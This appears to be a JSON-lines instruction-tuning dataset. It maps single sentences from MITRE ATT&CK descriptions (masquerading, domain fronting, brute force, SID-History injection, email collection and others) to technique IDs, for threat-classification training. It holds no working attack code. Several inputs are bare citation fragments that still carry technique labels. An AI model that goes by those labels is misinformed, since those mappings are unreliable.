"List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site) ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Masquerading may also include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Masquerading may also include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them.", "output": "T1036.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. ### Response: T1036.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is done for the sake of evading defenses and observation.", "output": "T1036.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is done for the sake of evading defenses and observation. ### Response: T1036.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe).", "output": "T1036.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). ### Response: T1036.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster.", "output": "T1036.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. ### Response: T1036.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.", "output": "T1036.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous. ### Response: T1036.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use the same icon of the file they are trying to mimic.", "output": "T1036.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use the same icon of the file they are trying to mimic. ### Response: T1036.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS.", "output": "T1172", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. ### Response: T1172."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Fifield Blocking Resistent Communication through domain fronting 2015)", "output": "T1172", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) ### Response: T1172."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header.", "output": "T1172", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. ### Response: T1172."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header.", "output": "T1172", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. ### Response: T1172."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).", "output": "T1172", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored). ### Response: T1172."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header.", "output": "T1172", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. ### Response: T1172."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.", "output": "T1172", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Traffic will appear to be going to domain-x, however the CDN may route it to domain-y. ### Response: T1172."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may build capabilities that can be used during targeting.", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may build capabilities that can be used during targeting. ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house.", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates.", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation:", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mandiant APT1)(Citation:", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mandiant APT1)(Citation: ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation:", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Talos Promethium June 2020)", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Talos Promethium June 2020) ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As with legitimate development efforts, different skill sets may be required for developing capabilities.", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As with legitimate development efforts, different skill sets may be required for developing capabilities. ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The skills needed may be located in-house, or may need to be contracted out.", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The skills needed may be located in-house, or may need to be contracted out. ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability. ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create self-signed SSL/TLS certificates that can be used during targeting.", "output": "T1587.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. ### Response: T1587.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SSL/TLS certificates are designed to instill trust.", "output": "T1587.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SSL/TLS certificates are designed to instill trust. ### Response: T1587.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct.", "output": "T1587.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. ### Response: T1587.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.", "output": "T1587.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. ### Response: T1587.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).", "output": "T1587.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA). ### Response: T1587.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)).", "output": "T1587.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). ### Response: T1587.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.", "output": "T1587.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control. ### Response: T1587.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data.", "output": "T1565", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. ### Response: T1565."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.", "output": "T1565", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making. ### Response: T1565."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary.", "output": "T1565", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. ### Response: T1565."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "output": "T1565", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. ### Response: T1565."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018)", "output": "T1565.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) ### Response: T1565.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.", "output": "T1565.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making. ### Response: T1565.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats.", "output": "T1565.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. ### Response: T1565.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary.", "output": "T1565.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. ### Response: T1565.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "output": "T1565.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. ### Response: T1565.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.", "output": "T1110", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. ### Response: T1110."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.", "output": "T1110", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. ### Response: T1110."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.", "output": "T1110", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes. ### Response: T1110."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Brute forcing credentials may take place at various points during a breach.", "output": "T1110", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Brute forcing credentials may take place at various points during a breach. ### Response: T1110."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201).", "output": "T1110", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). ### Response: T1110."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access.", "output": "T1110", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access. ### Response: T1110."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained.", "output": "T1110.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. ### Response: T1110.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[OS Credential Dumping](https://attack.mitre.org/techniques/T1003) can be used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option.", "output": "T1110.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) can be used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. ### Response: T1110.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Further,  adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602) in order to obtain hashed credentials for network devices.(Citation:", "output": "T1110.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Further,  adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602) in order to obtain hashed credentials for network devices.(Citation: ### Response: T1110.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "US-CERT-TA18-106A) \n\nTechniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes.", "output": "T1110.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: US-CERT-TA18-106A) \n\nTechniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. ### Response: T1110.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking)", "output": "T1110.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) ### Response: T1110.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.", "output": "T1110.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access. ### Response: T1110.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Windows security identifier (SID) is a unique value that identifies a user or group account.", "output": "T1178", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Windows security identifier (SID) is a unique value that identifies a user or group account. ### Response: T1178."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SIDs are used by Windows security in both security descriptors and access tokens.", "output": "T1178", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SIDs are used by Windows security in both security descriptors and access tokens. ### Response: T1178."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft SID)", "output": "T1178", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft SID) ### Response: T1178."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).", "output": "T1178", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens). ### Response: T1178."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use this mechanism for privilege escalation.", "output": "T1178", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use this mechanism for privilege escalation. ### Response: T1178."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft", "output": "T1178", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft ### Response: T1178."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators.", "output": "T1178", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. ### Response: T1178."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021),", "output": "T1178", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), ### Response: T1178."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Windows Admin Shares](https://attack.mitre.org/techniques/T1077), or [Windows Remote Management](https://attack.mitre.org/techniques/T1028).", "output": "T1178", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Windows Admin Shares](https://attack.mitre.org/techniques/T1077), or [Windows Remote Management](https://attack.mitre.org/techniques/T1028). ### Response: T1178."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may target user email to collect sensitive information.", "output": "T1114", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may target user email to collect sensitive information. ### Response: T1114."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries.", "output": "T1114", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. ### Response: T1114."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can collect or forward email from mail servers or clients.", "output": "T1114", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can collect or forward email from mail servers or clients. ### Response: T1114."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may target user email on local systems to collect sensitive information.", "output": "T1114.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may target user email on local systems to collect sensitive information. ### Response: T1114.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Files containing email data can be acquired from a user\u2019s local system, such as Outlook storage or cache files.", "output": "T1114.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Files containing email data can be acquired from a user\u2019s local system, such as Outlook storage or cache files. ### Response: T1114.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Outlook stores data locally in offline data files with an extension of .ost.", "output": "T1114.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Outlook stores data locally in offline data files with an extension of .ost. ### Response: T1114.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes)", "output": "T1114.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response 